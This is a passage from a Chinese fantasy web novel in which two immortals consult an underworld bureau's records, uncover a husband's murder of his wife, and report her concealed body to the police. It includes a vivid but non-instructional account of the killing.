文隽很随意地走上前,自来熟地抽了张椅子出来,示意莺芝坐下,自己又去抽了另一张,“但很不幸,我就是来了。” 茶夫人放下手里的书,语气里有点嫌弃:“这又不是季末,也不是月末,更不是年末……文仙君到此有何贵干?” 虽然不知道文隽和这位茶夫人之间有什么恩怨,但到这儿的目的……这就是自己的事情了,不好再麻烦他解释。 想到这儿,莺芝刚打算开口,却感觉有人从桌子底下轻轻碰了碰她。 一偏头,便文隽递过来了个眼神:稍安勿躁。 莺芝眼观鼻鼻观心,下意识先听从了对方的建议。 “没什么贵干,想借润城工作日志一观,以及近五年的善恶奖惩簿。” 莺芝敏锐地察觉到,在提及“工作日志”时,茶夫人似乎不自觉地僵了僵,看文隽的眼神更嫌弃了。 她心里七上八下。 文隽怎么就这么直接说了……也不提提前因后果,然后动之以情晓之以理的吗? 就算对方求他帮过忙,也不能这么……这能借来吗! 可千万别吵架啊。 莺芝忐忑,文隽却全没有受影响,依旧淡定地坐着,还自己起身取了杯子来,给莺芝和自己都倒了两杯茶夫人的茶。 茶夫人微微蹙眉,却没见多少不悦,反而像是有点犹疑。 她屈指敲了敲桌面,思忖片刻后开口: “为什么突然又要看工作日志?还有奖惩簿——有什么原因?” “有件事想要求证。”文隽道。 你倒是说具体是什么事啊! 莺芝那个急啊,都有点不大敢去看茶夫人的神色。 又一阵沉默袭来,文隽神态自若,端起茶杯轻轻抿着,还示意莺芝也尝尝。 莺芝:“……” 茶夫人看了看他,又看了看莺芝,眉宇间褶痕更重。 “是和姻缘殿有关?我不记得有过这样的事。” “具体是什么现在还不能告诉你,不过可以说的是,和你的工作没有太多关系,只是借用你这里的记录来寻找一些蛛丝马迹。” 莺芝敢肯定,绝对不是她的错觉,在文隽这句话说完后,茶夫人整个人都松垮了下来。 “……不早说。” 她轻轻一挥手,从不知道哪里取出了一道符令: “来书店,带上近五年的工作日志和奖惩簿。” 十秒后,一道白衣白帽的身影突兀地出现在了室内,怀里还抱着一堆厚厚的文书。 茶夫人对文隽一点头: “喏,都在这儿了,你们自便。” 直到抱着文书到书店内的空桌坐下,莺芝都还有点不真实感。 就,这么容易? 文隽好笑摇头:“赶紧找吧,资料多,要找很久呢。” 莺芝收回思绪:“你说得对!” 夜幕深沉,日升月落。 天光大亮时,莺芝的翻纸的手蓦地顿住。 她面前的纸页上,文字整齐排列: 赵晓婉,父赵安国,母史淑杰,夫梅仁兴,卒年三二,死因窒息,刀伤二一,污物填七窍,肢体四散; 生平救助流浪猫狗十数,小善若干,无大恶,判:即入轮回。 第58章 过程 城隍神,又称阴司神。城隍所司,和药王殿刚 好是两个方向。 药王殿司掌生前事,接受生灵的祈愿,赐予祝福,至生命终止便结束; 而城隍的职责,则恰恰是从生命终止时才开始。 无论一个人在活着的时候做过什么事,经历过什么事,在其还活着的时候,身为一地神灵的城隍,都不会对此进行任何的干预,只会旁观,并且记录。 然后,在其步入死亡后,城隍神才开始正式介入——根据所记录下的此人一生经历做出裁断,判定他/她的善恶,决断他/她的去处。 善者,无恶者,可立即进入鬼界,安排轮回,并根据生前的作为分别获得不同的轮回祝福; 大恶之徒,则会被强制押往所谓的“地狱”,受刑领罚,以做赎罪。 所以城隍神这里的善恶簿,就是他们进行裁定奖惩的依据,记录的便是最真实的内容。 记录时往往平铺直叙,不带任何笔墨渲染,不含丁点夸张或演绎的成分。 写一就是一。 莺芝看着新翻到这一页上清楚记录着的“夫梅仁兴”,略做核对,发现无论是年龄还是身份资料,基本都能够和已知的信息对上。 丈夫叫做梅仁兴,本人于三十二岁在润城死亡,死亡原因不是病痛灾难,而是非正常死亡…… ——这个赵晓婉,极有可能就是华晓识那位相亲对象的前妻! 再三确认了信息,莺芝把手中的书簿递到文隽面前。 “看这个。” 文隽从厚厚的工作日志中抬起头,扫了一眼她递出的内容。 旋即,他重新垂下眼,在手边的本子中有目的地寻找一番,取出了其中一本。 “三年前、赵晓婉,我之前看到过这一天的工作日志。” 文隽动作迅速地翻开本子,走马观花浏览了一遍,锁定了其中一页。 他把工作日志放到莺芝面前,屈指敲了敲纸张上的某行字。 “从这里开始。” 莺芝凑头过去- XX年X月X日- 出勤人:黑无常- 任务内容:引魂- 任务对象:赵晓婉- 特征:女,岁三十二,非独居- 任务地点:天星花苑别墅区xx栋 ……- 任务进度:已完成 ……- 后续补充:目标人物已入轮回- 城隍批复:阅 看完这一部分日志,莺芝一时有些沉默,心情复杂。 如果真的这位赵晓婉真的就是他们在找的那一位女性的话……那么她现在已经入了轮回,开启了崭新的人生。毫无疑问,这是值得高兴的事。 但,她的非正常死亡,却没有在凡间现世留下一丁点的内容,什么痕迹和记录都没有。网络上也是,没有任何报道,似乎她这么个人根本不存在一样。 就连她那位丈夫,都在计划着步入新的婚姻。 没有任何人因为她的非正常死亡而心生怀疑吗? 她的父母亲人呢? 她死亡的时候……窒息,刀伤,肢体分离……又到底是个什么状况? 是为人所害吗? 害人者是她的丈夫吗? 如果是,那为什么没有受到凡间现世相关部门的惩罚? 越想越难以理解,莺芝想不下去了。 她低下头,继续翻找起善恶簿:“我再找找……” 找找看,看看有没有梅仁兴的善恶记载。 如果他做了恶事,那么无论生前如何,等他死亡,城隍一定会对他进行惩罚……说不定可以在善恶簿里找到相关的记录。 看着她二话不说又埋头干活、一副不找到誓不罢休的样子,文隽很轻地叹了口气,放下手中的工作日志,也拿起一本善恶簿。 窸窣的纸页翻动声中,一串轻飘飘的脚步由远及近。 桌旁的两人一起抬眼,就见茶夫人端着一杯热气腾腾的豆浆,打着哈欠走过来。 “怎么还在看,都不累的吗?” 她伸脚勾了一张椅子过来,在距离桌子两米外的位置坐下。 “到底什么事儿,让你们这么废寝忘食的,哪个部门出岔子了?” 茶夫人显然还是很好奇。 “这和你没有多大关系。”文隽道,手下动作仍然没停。 茶夫人撇了撇嘴:“你当我很想知道,要不是担心会牵连到我这儿,谁管你们。” 闻言,莺芝却是一愣。 她怎么就把茶夫人给忘了,如果茶夫人肯稍微帮帮忙的话,比他们没头苍蝇地在这儿找要好太多了! 停下翻找的动作,莺芝略略停顿片刻,试探地开口: “有件事想问问您,不知道可不可以……” “……嗯?” 没想到她会突然开口,茶夫人看向文隽,见对方完全没有制止的意思,顿时细眉一挑,若有所思地又看向莺芝。 “——自然是可以,那这位仙子,想问什么呢?” 莺芝伸手,从文隽胳膊底下把那本摊开着的工作日志抽出来,递到茶夫人面前: “是这样,这一天的工作,您还有印象吗?” 茶夫人神色愈发耐人寻味,简单瞥了一眼工作日志的内容,笑道: “我没印象,但没关系,叫有印象的过来就行了。” 她放下豆浆杯子,取出昨天见过一次的符令,指尖灵力微闪:“叫小黑过来。” 数秒钟后,一个黑衣黑帽的人出现在书店内。 他神态恭敬,对茶夫人行礼:“大人。” “不是我找你。”茶夫人随意地一摆手,指了指对面,“他们有些问题要问,你把你知道的都告诉他们。” 黑衣人一点头,转而面向莺芝和文隽:“请问。” 这应该就是黑无常了,莺芝了然。 她把日志给黑无常看了一下,重复起刚刚的问题。 黑无常仅仅扫过一眼,就点起了头:“记得。” 莺芝惊讶。三年前的一件寻常工作,他能记得这么清楚?都不用再想想的? 茶夫人笑道:“他是鬼差,记忆力本就和凡人不同,就算有什么一时想不起来,看了日志也就都记得了——这些可都是他一笔一笔记下的。要说记忆力,文仙君记忆力更超群,我们这儿的小鬼可比不得。” 莺芝讶异地看了文隽一眼,收获一个无辜的摊手。 她收回视线,继续正事:“那,能请你和我讲讲那天出勤时的情况吗?” 黑无常颔首。 “那天下雨,我照常按照工作计划出勤引魂,对了,大人没有给我暴雨补贴,到达天星花苑时目标人物还没有魂魄离体,我等待二十分钟后,接到了魂魄,回到阴司。” 茶夫人喝豆浆的动作一顿,乜了他一眼。 黑无常立时缩了缩脖子,补了半句。 “……没有暴雨补贴,但有夜班补贴。” 这种上班笑话,莺芝平时最喜欢了,但现在这个关头,她一点也没能笑出来,一颗心都提了起来。 “——你是说,你到的时候,她还没有死?” “是的。”黑无常语气肯定,“耽误了二十分钟,回来还被大人骂了。” 所以记得很真切。 莺芝和文隽交换了一个眼神,喉头微微滚了滚,继续提问: “那……你还记得,她是怎么死的吗?” “记得。”黑无常道,“而且善恶奖惩簿上记录了她的死状,二位可以自行查看。” 哒—— 茶夫人把装着豆浆的杯子搁到桌子上,发出一声脆响。 她语气凉凉的:“看来簿子能取代你的工作了?” 黑无常一个激灵,身体都站直了几分。 “——本来从我到时她就该死亡的,但事情临时出现了变化,持刀砍伤她的人第一刀砍偏位置,避开了致命部位,导致这场死亡的过程持续了很久。” 似乎是为了证明自己比一本簿子有用,又或者是因为自家上司在背后盯着、压力太大,他竹筒倒豆子般语速极快地叙述着当晚的场景。 “当时她和致她死亡的人在地下室争执,十几分钟的过程里,她先后被砍中了二十一刀,伤口错落,皆避开了要害,因流血 过多失去了意识。” “但她仍然没有死亡,所以我只能等。” “接下来,她的脑袋被对方按进了院中的泥沙桶,因窒息而死亡。” “之后魂魄离体,我带回了她。” “——其实就是放着不管,一直流血流下去,也很快会死,但毕竟最终死因是窒息,就在善恶簿上记下了窒息。” “原来是这一趟。”茶夫人“哦”了一声,又咦,“我记得你那天迟的不止二十分钟?” 黑无常:“……本来是该二十分钟的。但她魂魄离体后不愿立刻离去,向我提出要求,想在原地停留一会儿…她生平偏善,这等魂魄依照我们的规矩,是可以稍微宽容一些……——这是大人您定下的规矩!” 茶夫人颔首:“所以,你为了满足她的愿望,就陪着她在原地又等了半个多钟?” 黑无常慢慢低下了头:“……是。” 茶夫人:“那么她停在原地是为了什么,之后呢?” “杀死她的那人是她的丈夫,她说想看看她真的死亡之后,他会有什么反应……这是个小要求,我就答应了。” “之后,她亲眼看着她的丈夫把她的尸体拖回地下室,拆分砍碎,溶入泥沙——他们家的后院当时正在动工,有一些建筑材料堆放,水泥、沙土之类。” “他把她混入了材料里,倒进机器搅碎,头颅则还保留着完整,填入了水泥浇筑的桶中。至于这些东西他会拿来什么用,我们没有继续看,她看了一会儿,就同意和我回来了。” “不过我前些天去天星花苑引魂时,途径他们房子,看到了块压地的水泥柱,想来是她。” 第59章 见天日 莺芝耳畔有什么在嗡嗡作响。 早在听到黑无常说出“十几分钟里她身中二十一刀”时,她的眉毛就已经叠起,再到后来,“脑袋被埋进泥沙桶窒息而亡”、“杀死她的是她的丈夫”等内容被黑无常以极其平铺直叙的语气讲出,莺芝周身的空气已经接近凝固。 赵晓婉临终时的情景,终于被拼凑完整。 在那场发于雨夜的争执中,本该很快结束的一切,生生持续了近二十分钟。 整整二十分钟里,她要一边感受着生机和体内血液一点点流失,一边在山呼海啸的疼痛中挣扎腾挪,每一秒都被无限拉长,痛苦漫长得似乎没有终结的时刻。 她当时会是一种什么样的心情? 被痛苦覆盖双眼、想杀了眼前带给自己这一切的罪魁祸首,被仇恨笼罩心头、想诅咒这不公的苍天世道,想活着、想呼吸,还是……单纯地想结束这场酷刑? 莺芝无法想象。 但听黑无常的描述,她似乎又并没有太大怨气—— 若生灵遭虐待横死,怨气极重之时,会化作心怀执念的恶鬼,为世间带来一定的危害。 可在润城阴司的工作日志中记载着的,却是她如常地被接引,如常地进入了轮回,没有任何异常之处。 连只存在于鬼差口述中的“最终愿望”,都只是“想再待一会儿”。 她没有怨吗? 合该是有的吧。 只不过或许于她而言,这段生命似乎本就没有任何值得留恋的地方。 无论是那个恶人,还是其他。 她彻底失望、了无期待、急于逃离,投身新的生活…… 又或者,是一个人循规蹈矩久了,即便成了鬼,也没有勇气拿起伤害他人的刀。 循矩者和法外徒,本就有着骨子里的差别。 可是,凭什么呢。 莺芝垂下眼睫,双瞳中向来氲着的柔软温和疲惫地落散,余出些许冷意。 无错者在雨夜挣扎死去,身体被碾碎成泥,至今散落在无人的角落,恶鬼却披着人皮,在阳光下猖狂逍遥,还准备迎接新的婚姻—— 她所遭遇的一切,仅仅是因为错摊了一桩孽缘! 这何其不公。 这还是机缘巧合之下,她偶然才得知的一桩婚姻,那么,在她看不到的地方,又有多少这样的孽缘怨侣? 她如今身为姻缘殿的主事,却只能任由这些孽缘就此匿于人群,看不到,无法管,鞭长莫及……多么无力又讽刺。 那些在孽缘中受到伤害,甚至于无法开口、无法反抗的人,又该如何申诉自己的遭遇和委屈? 这世间还有多少个赵晓婉? 室内一时寂静无声。 茶夫人看看神色不佳的莺芝,又看看安静不语的文隽,最后扫过站成麻杆神经紧绷但满头雾水的黑无常,眼波微动,隐隐有所明悟。 就在此时,一阵出厂默认的手机铃声响起。 莺芝从思考中回神,拿出自己的手机,看了一眼来电人。 华晓识。 和其余几人示意了一下,莺芝起身,离开几步,接起电话。 电话接通的一瞬间,华晓识的声音便传了过来。 “小莺,是我,华晓识!” “嗯,你说。” 可能是察觉到莺芝语气和平时不大一样,华晓识略带些兴奋的声音一顿,再开口时已经收敛了许多。 “我问到——啊……对了,早上好,没有打扰你休息吧?” 莺芝捏捏眉心,调整了一下状态,温声开口:“没有,早上好,有什么事,你问到什么了?” 听她嗓音如常,仿佛刚刚的片刻冷然只是错觉,华晓识疑惑了一瞬,继续接上: “我跟我爸妈说,我找了个算卦很灵的,合了一下我跟他的八字,结果是他命带凶煞,克妻。” “我爸妈一开始不信,但我给他们看了网上关于这件事的讨论,逼他们去找那个亲戚问清楚,他的前段婚姻到底是怎么回事——现在网上猜测这件事的有很多,我爸妈也半信半疑的,就去问了。” “在他们的逼问下,那个亲戚才松了口,说了他知道的情况。” 华晓识有些不忿:“那个亲戚,他其实早就知道男方那边的情况,但是想着把这桩媒做好,就一直替那边瞒着,只含糊地说是离婚,要不是这次有你介入,问题闹大了,他估计还是不肯说!” “那人说,梅家那边之前是有个老婆,夫妻俩也确实跟姓梅的说的一样,生活中总是吵架。然后三年前的某一天,两个人又不知道因为啥吵了一架,他老婆就带着行李直接跑了,再没回来。” 莺芝蹙眉:“跑了?夫妻双方吵架,她跑了,再没有出现——就没有人觉得奇怪?” 华晓识显然曾经也这么觉得,不过她还是转述了一下听到的解释: “是啊,跑了,而且不仅没回来,还跟所有人都断了联系,连她爸妈都没联系过,摆明了不想再跟之前的生活有牵扯——他们说,她一直就很孤僻,又没个孩子牵挂,做出这种事也是有可能的。” “后来大家等了些日子,但一直没等到她回来,两家人一合计,也担心她会出什么意外,就给她报了失踪。” “结果这一失踪就是整整两年多。” “那个亲戚说,他知道这段时间的事儿,这两年多,梅家一直照顾着她爸妈,还当老丈人丈母娘一样对待。” 华晓识唏嘘,“但这么久找不着人,估计以后也难,日子也还得过……梅家就去法院申诉离婚了——夫妻双方有一方失踪两年以上是可以单方面发起申诉要求离婚的。她父母也觉得挺对不起梅家的,都很配合,没什么怨怼。” “也就半年多之前吧,他们离婚成功了。” “那人很笃定,说情况就是这样,梅家在拜托他帮忙说亲的时候,离婚证都给他们看过,跟前妻确实是离婚,不是什 么把老婆给打跑打死了,丧偶重婚的。” 莺芝提了提唇角,脸上却不见笑意。 失踪? 倒真是瞒天过海的好法子。 难怪能和常人一样,离婚相亲备婚,等待步入新的生活。 孤僻,没孩子牵挂…… 赵晓婉一条活生生的命,就在这些标签下,彻底湮灭于尘,埋入泥沙的缝隙中。 她的父母究竟是真的一点异样也没察觉、全然被梅家所欺骗,自始至终都被蒙在鼓里,还是在梅家的照顾之下,装作无所察觉,自欺欺人? 梅家的人又是否知道梅仁兴的所作所为,是被他的谎言欺骗,被动站队,还是已然成为助纣为虐包庇祸子的伥鬼? 这些都无从探究了。 唯一可以确定的是,这件事里相关的所有人、所有的反应,都太过轻描淡写了。 轻描淡写到,赵晓婉的生命就像是一场儿戏,一羽鸿毛。 ……无足轻重。 华晓识已经说完全部探听来的内容,听筒中短暂地安静了一下。 “我知道了。” 莺芝开口,却没有多说,只轻声回应了一下。 有些事,和华晓识说已经没有什么作用了。 华晓识稍怔:“那——” “接下来,就交给我吧。”莺芝道。 于华晓识而言,能够警醒过来,远离那个恶人,就已经足够。 其它的,全不用她再做什么。 莺芝会全部处理好。 华晓识一方,她会亲自动手,把他们之间的缘给剪除。 至于梅仁兴那一方—— “……接下来的事?”华晓识疑惑。 接下来还有什么事。 难道说,梅仁兴的前妻,不是失踪,真的是死掉了? 小莺还是坚持这个结论吗? 但这可是一条人命啊,现代社会这种监控力度,真的能悄无声息地被隐藏吗…… “嗯,接下来的事。” 莺芝嗓音柔和,温度却凉:“你先不要和梅仁兴有联络,保护好自己,其余的……不久之后就会知道了。” 嘱咐完,莺芝在华晓识的半信半疑,欲言又止中,挂断了这通电话。 …… 莺芝离开后,剩下的几人还保持着原来的状态,只是有奇怪的氛围在安静的空气中悄悄蔓延着。 最先开口的是茶夫人。 她觑着莺芝离去的方向,又瞥向文隽,嘴角挂着似笑非笑的弧度。 “原来你真的只是来借日志的。” 文隽神色自若,没搭话。 “亏得你还摆出一副那个死样子,吓我一大跳,还以为又——借东西就借东西,整那么大架子做什么,害我提心吊胆。” 文隽这才闲闲开口:“我直接借,你会轻易给?” “那不会。”茶夫人也没遮掩,非常坦然,“横竖得宰你一下,起码赚个承诺什么的,下次的核查好放宽点。” 文隽嗤了一声,意思很明显:那你还说什么? 茶夫人也没纠缠这个,捧着豆浆轻轻抿着,话锋一转。 “神仙是不能过多干预凡人恩怨的。” 文隽抱臂后仰靠上椅背,有些困顿地闭上了眼。 “等他死了,阴司自会对他所做过的恶进行裁决,降下惩罚。” 文隽脑袋一点一点的,看起来像是进入了假寐状态。 “若是她生前求到上头去了,愿望被上头的你们谁给接收,那好歹有个插手的理由——” 茶夫人语气依旧凉凉的,“但像现在这样,她人都已经入轮回了,说不得如今都快两岁了,你们这时候插手,除了给自己添上一笔耗时耗力的糊涂官司以外,得不到丁点功德。” 文隽垂着眉眼,轻轻应了一声:“知道。” “那你还做?”茶夫人呵道,“我可是看不出这事儿跟你的工作有一丝一毫的关系。别告诉我你这么做是因为你善良,心怀大爱——黑无常是个热爱工作的鬼差,都比你善良有可信度。” 黑无常:“?” 文隽打了个哈欠,懒懒睁眼,瞥向她:“怎么就不能呢?” 茶夫人面无表情:“恶心。” 莺芝回来时,恰好听到的就是这句。 她疑惑:“什么恶心?” 茶夫人和善地看向她:“没什么,忙了一晚上了,累不累,吃点东西?我这里刚好还有厨房,可以做些吃的。” “不用麻烦了,您肯让我们借阅日志已经帮了很大的忙了。” 莺芝真诚地道谢,视线落在已经重新坐正了的文隽身上,又移向还在站军姿的黑无常。 不等她说话,茶夫人便已经笑道:“小黑,跟二位客人走一趟。” 黑无常脸一僵,下意识想要说话。 “休息时间加班,时薪按出外勤的双倍给你算。” 黑无常即刻转头,迎向莺芝:“好的,二位,想去哪里,天星花苑吗?” “……”莺芝没忍住,多看了他两眼。 还真是遵循本能的打工人啊。 争得茶夫人同意、并保证绝不外传后,莺芝把相关赵晓婉生平的善恶簿页面,以及黑无常引渡赵晓婉魂魄那天的工作日志分别拍了一下,留了个底,然后把所有借来的书簿都整理好,还给了润城阴司。 道别时,茶夫人不客气地对文隽开口: “文仙君,欠我个人情。” 莺芝想要解释这件事是自己“主谋”,这个人情应该让姻缘殿来还,只是还没说出第一个字,茶夫人就已经转开了话题。 “——好了,你们去吧,我这里也要营业了。” 送客之意明显,莺芝只好按下不表,礼貌道别。 离开书店时,茶夫人淡淡的声音遥遥传来,有些不太清晰,只依稀能辨认出几个字节。 “……加油。” 没有功德,但有人会记得,有人会感谢。 如果作为一名神仙,都不能依照自己的心意帮助凡人,那么神仙的意义和价值又在哪里? …… 天星花苑。 这个小区是高档小区,门口保安来回巡视,看守得相当严密。 莺芝几位不是本地住户,不方便从正门过,便并没有采用寻常的方式进入小区。 黑无常身为鬼差,身体和魂魄本就可以随意切换,莺芝二人借了他的神通,在他施出的法术领域中,一并短暂化作了魂魄,进入到了天星花苑。 走离大门近百米开外,黑无常撤去法术,对二人点了点头。 “这里住户追求高隐私,除了小区门口和周围的防护外,里边没有什么监控。” “赵晓婉生前居住的房屋,在那边。” 两仙一鬼一路走到别墅区,一路上没遇到其他人。 “这里的住户一般集中在高楼区,别墅区这边比较少。”黑无常解释着,到了其中一户外,他停步,“就是这里。” 莺芝打量了一下环境,这是个花园样式的院子,花坛花圃,还垒了灶台烧烤炉,看起来颇有生活意趣。 而随着黑无常的指示,她很轻易就在类似仓库的卷闸门外看到了一个桶状的水泥墩子。 没有废话,莺芝走上前,掌心贴上水泥边缘,灵力微微探出。 片刻后,她收回灵力,眉心紧拧,脸色沉郁。 见状,根本不用再说什么,文隽就懂了眼下的情况。 他轻轻拉上莺芝小臂,把她带离些许,然后也运起灵力,朝那块水泥墩子的三分之一处一挥。 莺芝配合地退后了几步。 温和的光芒轻柔地擦到水泥墩子之上,边角部分应声碎裂,扑簌簌掉下许多快大小不一的水泥块。 缺口处,半张布满污渍的面孔出现,眼睛紧闭,伤痕驳杂。 ……是尘封在岁月角落的受害者。 在三年后的如今,终于重见天日。 莺芝闭了闭眼,胸脯起伏片刻,再次睁眼时,呼吸已经重新趋于稳定。 她拿出手机,输入号码,拨出。 “您好,润城警方吗?我现在位于天星花苑别墅区第xx栋——我要报警。” 第60章 发酵 呼啸的警笛打破了寂静如死水的天星花苑。 小区的安保人员们,除了还在门口值班的几个别,其余在岗的全都在闻讯而来的领班带领下,跟在警方的人员后边,把小区内的道路围了起来,杜绝住户居民们的靠近,以避免引起恐慌。 莺芝一通报警电话拨出,对方获得了消息后,马上就派了人力出警。 警员们抵达后,和报警 人莺芝接洽完毕,确认了“被害人”,附近的几栋别墅登时全拉上了警戒线,这一片区域被圈得水泄不通。 天星花苑负责保卫小区安全的安保员们,无论如何也想不到,一向平安无事的小区,为什么会忽然有警车来访,而且看出警的规模,还不像是小事。 忐忑之余,领班也只能带着人小尾巴似地跟缀上来,试探性地询问原因。 但警方人员神情严肃,面对所有的打探,一概只以“保密内容,不可透露”为由,全部堵了回去。 不过,不回答归不回答,他们却也挡不住这些有心之人的围观。 很快,这些人就都知道了小区里究竟发生了什么。 ——在一块水泥墩子里发现了人的脑袋! 这是一件多么骇人听闻、让人毛骨悚然的事! 竟然就发生在他们身边?! 还好,还好提前把高楼区的居民们都圈在了外围,禁止靠近,不然这种事会在小区里引起怎么样的轰动……简直无法想象。 后续勘探现场、取样采样的环节时,警方有专属的人员出来,通知了所有在场的人,禁止全部的现场资料外传,包括且不限于视频影像资料、文字转述等。 随后,报警的莺芝二人,以及现场安保人员的的领班、部分值守者,全部被打包带回了警察局。 …… “所以,你们是为了‘找料’,特地从外围潜伏进的天星花苑,结果发现了尸体?” 接待室的长桌边,莺芝坐姿端正,面对问询女警的提问,郑重其事地点头:“是的。” 与此同时,另一边,文隽也在和负责做笔录的警察叙述着自己的时间线。 “我们是做网络直播的,玄学方向——之前直播时,我们从一位观众给出的资料中算出,她未来的这段婚姻不太顺利,对方是个命格凶煞的人。但那位观众并不相信,卦象又不能当实证,所以我们就找到了她未婚夫的住所,想着没准能找到什么,作为证据来提交给那位委托我们的观众,也好让她信我们。” 他语气严肃,但在说到“证据”时,视线却有些小小的游移,不过很快又调整了过来,继续描述。 “我们原本想着来蹲一下,看看能不能拍到一些他摔东西、或者虐待小动物之类的照片视频,但是没想到,还不等我们做什么呢,刚一进他家院子,就看到了这块水泥——当时是我没站稳,磕了上去,把它撞翻了,碰在地上,就撞碎了一块。喏,我的胳膊肘现在还淤血呢。” 敲键盘的警察噼里啪啦写完内容,忍不住从电脑屏幕后稍微撇开脸,看了正抬起胳膊展示伤口的文隽一眼。 什么“找证据”啊,说得冠冕堂皇的…… 不就是潜进小区进行跟踪偷拍吗。 合着自己也知道心虚啊? 明明是违法乱纪的事儿,弄得跟什么传说中的私家侦探似的。 还玄学…… 多少有点中二在身上。 小警察无语。 不过这个主播,他倒还真听说过。 之前他们几个人加夜班,点评过新闻上林必珩的事—— 当时他们闹着玩,知道这事儿是一个直播间里爆出来的时候,还说要是警方能有这么个神奇玄学搭子给算犯罪人在哪就省事儿多了,结果被队长义正词严地教训了一通。 没想到,现在就这么玄幻地见到传说中的玄学主播了。 不过却是好好的直播不做,忽然跑来他们润城了。 跑来润城不说,还真发现了点东西…… 啧啧。 什么霉运体质。 他这边借输入记录的功夫不住地瞟着文隽,文隽那面却是心无波澜地继续扮演着“打算偷拍结果意外发现真正的犯罪事实”的混沌中立小市民。 “——行,没什么事了,在这里签个字,就可以离开了。” 负责询问莺芝的女警和善地递来文件夹和笔,看着莺芝签下自己的名字。 走在外出的路上,她耐心地重复着刚才就已经说过好几遍的话: “这种事以后不要再做了,不走正门潜入人家小区,还想着拍别人在家的生活照,本身就是违法乱纪的行为——退一步讲,要是真的遇到什么穷凶极恶的人,发现你们这样,一气之下伤害到你们了呢?” “要好好生活,遵纪守法,保护自己,这才是正确的价值观。” 莺芝虔诚受教,连连点头。 哪想刚转出个拐角,就跟同样跟在一名男性警察身边走出来,被动接受着“思想品德教育”的文隽碰上了。 莺芝翘了翘嘴角,忽而转头。 “肖警官,你的正缘就在身边,加油。” 姓肖的女警一愣,莺芝却已经和文隽汇合,朝她挥了挥手。 “再见!” 肖警官下意识向前两步,扬声:“最近几天先不要离开润城,之后如果有必要,还会找你们来的——” “知道啦。” 目送莺芝二人离去,肖警官站在原地,费解地思考了一会儿刚刚莺芝的话。 正缘? 身边? 她旁边,同事笑嘻嘻靠近,贱嗖嗖调侃:“怎么了,不舍得回去,不想加班?别想了,今晚注定要决战到天亮。” 肖警官白了他一眼,转身回办公区。 …… 润城天星花苑发现尸体的事,从事发当时起,就被警方要求了保密,任何人不能外传。 但世上终究没有不透风的墙。 当天晚上,某社交平台上就有一条匿名的帖子悄然出现。 标题起得很随意:路边水泥墩子里竟然嵌了无名人头,以后走在路上都得小心哪个墙里有眼睛在看我吗? 帖子里,帖主详细记录了天星花苑水泥墩子内发现人头的事,其中部分信息还特别进行了“马赛克”,但刻意程度一目了然—— 某玄学主播、某歌手未婚夫住所…… 种种欲盖弥彰盖了不如不盖的“打码词汇”几乎是直白地把所有信息全都摊开了给到所有人。 毫无疑问,每一个对此事有过哪怕一星半点关注的人,都能第一时间意识到,这些词汇所代指的是谁。 更厉害的是,帖主竟然还配了图片进来。 数张警卫人员安保人员们一起把别墅区围起来拉警戒线的照片,几张远远拍到水泥墩子的照片。 更甚至,还有一张放大了的、把画面锁定在水泥局部的照片。 高清,**。 成块断裂的水泥烂面中,一小块明显有别于旁边材质、类似于人类皮肤的露面出现。 那是一只半闭着的眼睛,一些被水泥填塞满、现在已经凝固成硬质的伤痕,以及已经糊作一团,和水泥也没什么区别的发块。 帖子里,许多人在叱骂帖主发图不打码,还有一些人在阴阳怪气帖主p图技术太差,同样的,除了这些人外,也有无数人在惊呼质疑,讨论着图片的真实性。 不过这张图连五分钟都没活过就已经被和谐掉了。 整篇帖子从发出到被发现,总共也不过只存留了几个小时的时间,在流量变大后,很快就也被删除下架了。 可是口袋毕竟已经被戳破,就算亡羊补牢,也还是有沙子已经流出。 流言这种东西,往往是传播最快的。 堵住了一个人的嘴,堵不住悠悠众口。 随着知道的人越来越多,一传十十传百,连当初那张五分钟寿命都没有苟到的图片,也被多种渠道转载,转手又转手,散布到了互联网的各个角落。 一晚过去,到了第二天,大半个互联网都哗然了。 某大家常用的社交平台上,最热搜索榜单的前几名,堂而皇之挂上了带有大家熟悉名字的词条。 #华晓识未婚夫居所惊现女尸# #天星花苑水泥嵌头# #华晓识# #润城# #小莺报警# #红线小莺现身润城警局# #玄学算命智商税还是真有用# …… 而随便点开其中某个词条,都会发现不少关于该尸体来源以及死因的猜测。 如果要对所有的讨论进行关键词 提炼,那么其中被提到频率最高的,应该就是“杀妻”了。 【之前某个算命的主播不是说了吗,这男的命里带煞,就爱暴力!】 【在他家院子里发现的女尸,能跟他没关系吗?】 【听说了没,他前妻失踪好几年了!】 【都这样了,这些年里就没人管吗?活人失踪了都没人查,当地的帽子人员是干嘛吃的。】 【哎哟,不敢管啊,天星花苑是什么地方?富人区!这人在富人区住别墅!而且家里还有军政商背景,厉害着呢,谁敢管啊?】 ——…… 事情逐渐发酵,传什么的都有。 眼看连梅仁兴“有润城本地有关部门做保护伞”的论点都被提了出来,再不进行干预怕是真的就控制不了了,润城警方无奈,只能出面,表明了一下态度。 警方的公告里,先是确认了天星花苑发现尸体一传言确有其事,但对细节却一概未提,只说这件事还在调查中,又说警方向来严正查案,一切依照法律办事,希望大家不要过多进行揣测,可以静待调查结果。 有此,大家的关注重点总算从“有黑幕”转移集中到了案件本身上,讨论黑幕和保护伞的频率少了许多。 又过了几天,润城落起了雪。 碎碎的雪花飘在初冬的风里,纷纷扬扬,整个世界都多了一层白色的纱。 城郊,一所供奉有红线仙的小庙宇静静立在皑皑白雪之间。 安置红线娘娘神像的小屋里,莺芝盘腿坐在供给叩拜的蒲团上,手指有一搭没一搭地滑动着屏幕,翻看网络上的讨论。 夜幕四合,虽然厚纸糊的窗户遮挡了大部分的寒风,可屋内毕竟没有燃着取暖的炉火,了无一丝人气儿,冰凉得渗人。 不过对于莺芝来说,感受却是恰恰相反。 虽然外边的风在呼呼作响,天也阴沉,但她的心情却是微妙地明媚着。 眼下她还不能离开润城,得时时配合警方的传唤,加上最近这件事还没个定论,她也没办法和观众们准确地表述过程及结果,所以这几天都没有进行直播,和粉丝们早早请过了假。 这几天里,网络上这些看客们各显神通,连赵晓婉的个人信息都扒出来了一些,然后真心实意地代入着,替她感到难过,莺芝心中先前堆积的少许的郁气全都散了,再也没有一点儿痕迹。 事情发展到现在的地步,结果的到来不会再延迟太久。 赵晓婉的头颅虽然已经被水泥封死,但有现代的技术,要查验起来并不算太难。 据黑无常出勤时顺道的“调查”,润城的警方已经把头颅完好取出,并且还勘探了现场其他的建筑,进行部分取样——这是莺芝在做笔录时,“随口”提供的一点小思路和方向。 而后续的进度,已经成功推进到了从花坛的池子以及灶台的部分位置提取出了属于她的信息。 